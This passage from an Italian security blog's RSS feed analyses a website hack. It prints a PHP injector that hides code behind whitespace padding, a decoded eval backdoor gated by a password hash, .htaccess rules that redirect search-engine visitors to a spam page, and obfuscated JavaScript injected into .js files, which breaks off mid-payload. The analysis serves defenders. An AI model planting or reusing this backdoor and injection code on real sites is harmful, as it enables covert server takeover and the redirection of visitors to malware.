        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>my_fwrite<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$d</span><span style="color: #006699; font-weight: bold;">$FN</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">150</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">150</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #000088;">$C</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
            <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'fn'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> r_cut<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$d</span><span style="color: #006699; font-weight: bold;">$FN</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            say<span style="color: #009900;">&#40;</span><span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span> 
&nbsp;
walkdir<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$R</span>/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'end'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;/pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
 ?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

</div>
<p>la porzione encodata alla riga 97 una volta decodificata appare così:</p>
<div id="foo">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$t</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;testdata_<span style="color: #006699; font-weight: bold;">$t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'start'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;aace99428c50dbe965acc93f3f275cd3&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;rb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;size&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
        testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'f'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'end'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;/pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

</div>
<p>Per proteggervi da tale hacking vi invito ad utilizzare script di Sicurezza quali <a href="http://php-ids.org/"><strong>PHPIDS</strong></a> di cui potete trovare una recensione a questo <a href="http://www.bleakants.com/2008/10/phpids-intrusion-detection-system/"><strong>link</strong></a>.</p>
<p>Per pulire i vostri file in seguito ad un eventuale attacco fate riferimento alla procedura indicata nella <a href="http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html"><strong>prima parte</strong></a> di questo articolo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.htaccess hacking &#8211; Redirect per chi arriva dai Motori di Ricerca &#8211; PARTE 1</title>
		<link>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html</link>
		<comments>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html#comments</comments>
		<pubDate>Sun, 12 Oct 2008 10:32:47 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[hacking htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[http referer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[powergrep]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=100</guid>
		<description><![CDATA[In questi giorni, come dicevo nel precedente post, sto analizzando/studiando un tipo di hacking che consiste nel redirettare i visitatori che provengono da un Motore di Ricerca verso una pagina malevola contenente link a Trojan/Malware. Tale file &#8220;.htaccess&#8221; nella sua semplicità risulta essere furbo poiché ragiona in due modi: Se non è presente alcun &#8220;.htaccess&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>In questi giorni, come dicevo nel <a href="http://www.capn3m0.org/exploitfix-php-stats-0192-multiple-vulnerabilities-exploit.html">precedente post</a>, sto analizzando/studiando un tipo di hacking che consiste nel redirettare i visitatori che provengono da un Motore di Ricerca verso una pagina malevola contenente link a Trojan/Malware.</p>
<p>Tale file &#8220;<strong>.htaccess</strong>&#8221; nella sua semplicità risulta essere furbo poiché ragiona in due modi:</p>
<ol>
<li>Se non è presente alcun &#8220;.htaccess&#8221; ne crea uno all&#8217;insaputa dell&#8217;utente con il codice scritto dalla Riga 101 in poi così anche se viene aperto il file non viene visto il codice;</li>
<li>Se invece esiste già un file &#8220;.htaccess&#8221; provvedere ad aggiungere 101 righe vuote in coda e successivamente il codice senza modificare quanto già presente. Lo scopo è sempre quello di evitare che l&#8217;utente si accorga dell&#8217;infezione nel caso apra il file.<span id="more-100"></span></li>
</ol>
<p>Va inoltre fatto notare che, per come è strutturato risulta essere &#8220;furbo&#8221; anche perché l&#8217;hacking è visibile solo a chi proviene dai Motori di Ricerca e, quindi, a coloro che con molta probabilità non conoscono il sito (visto che lo cercano sui Motori). Il Webmaster che probabilmente digita l&#8217;indirizzo del proprio dominio invece di ricercarlo non si accorgerebbe del problema ma continuerebbe a vedere il proprio sito correttamente caricato e navigabile.</p>
<h1><strong>I Codici Utilizzati</strong><br />
</h1>
<p>Nel dettaglio il codice del file &#8220;.htaccess&#8221; che viene creato:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># a0b4df006e02184c60dbf503e71c87ad
</span>RewriteEngine On
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> ^<span style="color: #009900;">&#91;</span>url<span style="color: #009900;">&#93;</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//[/url]([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|</span>
alltheweb<span style="color: #339933;">|</span>f ireball<span style="color: #339933;">|</span>freenet<span style="color: #339933;">|</span>abacho<span style="color: #339933;">|</span>wanadoo<span style="color: #339933;">|</span>free<span style="color: #339933;">|</span>club<span style="color: #339933;">-</span>internet<span style="color: #339933;">|</span>aliceadsl<span style="color: #339933;">|</span>alice<span style="color: #339933;">|</span>skynet<span style="color: #339933;">|</span>terra<span style="color: #339933;">|</span>ya<span style="color: #339933;">|</span>orange<span style="color: #339933;">|</span>clix<span style="color: #339933;">|</span>terravista<span style="color: #339933;">|</span>gratis<span style="color: #339933;">-</span>ting<span style="color: #339933;">|</span>suomi24<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">.</span> <span style="color: #009900;">&#91;</span>NC<span style="color: #009900;">&#93;</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#91;</span>?<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>q<span style="color: #339933;">|</span>query<span style="color: #339933;">|</span>qs<span style="color: #339933;">|</span>searchfor<span style="color: #339933;">|</span>search_for<span style="color: #339933;">|</span>w<span style="color: #339933;">|</span>p<span style="color: #339933;">|</span>r<span style="color: #339933;">|</span>key<span style="color: #339933;">|</span>keywords<span style="color: #339933;">|</span>search_string<span style="color: #339933;">|</span>
search_word<span style="color: #339933;">|</span>buscar<span style="color: #339933;">|</span>text<span style="color: #339933;">|</span>words<span style="color: #339933;">|</span>su<span style="color: #339933;">|</span>q t<span style="color: #339933;">|</span>rdata<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">=</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> <span style="color: #339933;">!</span><span style="color: #009900;">&#91;</span>?<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>q<span style="color: #339933;">|</span>query<span style="color: #339933;">|</span>qs<span style="color: #339933;">|</span>searchfor<span style="color: #339933;">|</span>search_for<span style="color: #339933;">|</span>w<span style="color: #339933;">|</span>p<span style="color: #339933;">|</span>r<span style="color: #339933;">|</span>key<span style="color: #339933;">|</span>keywords<span style="color: #339933;">|</span>search_string<span style="color: #339933;">|</span>
search_word<span style="color: #339933;">|</span>buscar<span style="color: #339933;">|</span>text<span style="color: #339933;">|</span>words<span style="color: #339933;">|</span>su<span style="color: #339933;">|</span>q t<span style="color: #339933;">|</span>rdata<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">=</span><span style="color: #009900;">&#91;</span>^<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">%</span>3A<span style="color: #339933;">|%</span><span style="color:#800080;">22</span><span style="color: #009900;">&#41;</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>TIME_SEC<span style="color: #009900;">&#125;</span> <span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">59</span>
RewriteRule ^<span style="color: #339933;">.*</span>$ <span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>uhe<span style="color: #339933;">/</span>ex3<span style="color: #339933;">/</span>t<span style="color: #339933;">.</span>htm <span style="color: #009900;">&#91;</span>L<span style="color: #009900;">&#93;</span>
<span style="color: #666666; font-style: italic;"># a995d2cc661fa72452472e9554b5520c</span></pre></td></tr></table></div>

<p>Tale codice indica che se il <strong>referrer</strong> (l&#8217;indirizzo di provenienza) del visitatore che richiama la pagina è uno dei Motori di Ricerca indicati rediretta il visitatore all&#8217;Url:</p>
<blockquote><p><strong>/admin/wysiwyg/rujez/uhe/ex3/t.htm</strong></p>
</blockquote>
<p>L&#8217;indirizzo dove viene posizionata la pagina &#8220;<strong>t.htm</strong>&#8221; varia sempre a seconda degli script e delle cartelle presenti nello spazio della vittima.</p>
<p>I Motori di Ricerca che vengono verificati sono i seguenti:</p>
<ul>
<li>Google</li>
<li>Msn</li>
<li>Yahoo</li>
<li>Live</li>
<li>Ask</li>
<li>DogPile</li>
<li>My Web Search</li>
<li>Yandex</li>
<li>Rambler</li>
<li>Aport</li>
<li>Mail</li>
<li>GoGo</li>
<li>Poisk</li>
<li>All The Web</li>
<li>FireBall</li>
<li>FreeNet</li>
<li>Abacho</li>
<li>Wanadoo</li>
<li>Free</li>
<li>Club-Internet</li>
<li>Alice Ads</li>
<li>Alice</li>
<li>Skynet</li>
<li>Terra</li>
<li>Ya</li>
<li>Orange</li>
<li>Clix</li>
<li>Terravista</li>
<li>Gratis-Ting</li>
<li>Suomi24</li>
</ul>
<p>La pagina a cui rimanda appare come un &#8220;clone&#8221; di Blogger dove vengono inseriti testi generati casualmente.</p>
<p>Eccone un esempio:</p>
<div id="attachment_101" class="wp-caption alignnone" style="width: 310px"><a href="http://www.capn3m0.org/wp-content/uploads/2008/10/htaccess.png" rel="lightbox[100]" title="HtaccessHacking"><img class="size-medium wp-image-101" title="HtaccessHacking" src="http://www.capn3m0.org/wp-content/uploads/2008/10/htaccess-300x183.png" alt=".htaccess hacking   Redirect per chi arriva dai Motori di Ricerca   PARTE 1" width="300" height="183" /></a><p class="wp-caption-text">Esempio di hacking via .htaccess (Pagina t.htm)</p></div>
<p>Oltre questo, una volta infettato un sito questo hacking provvede ad aggiungere in tutti i file &#8220;.<strong>css</strong>&#8221; e &#8220;<strong>.js</strong>&#8221; un codice incapsulato che provvede a ricreare costantemente il file &#8220;.htaccess&#8221; qualora venga eliminato.</p>
<p>Nei file <strong>Javascript (.js)</strong> viene inserito il seguente codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* a0b4df006e02184c60dbf503e71c87ad */</span>
 <span style="color: #339933;">;</span>eval<span style="color: #009900;">&#40;</span>unescape<span style="color: #009900;">&#40;</span>’<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">21</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">49</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>7B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">31</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">35</span><span style="color: #339933;">%</span><span style="color:#800080;">39</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">34</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">38</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">33</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">76</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span 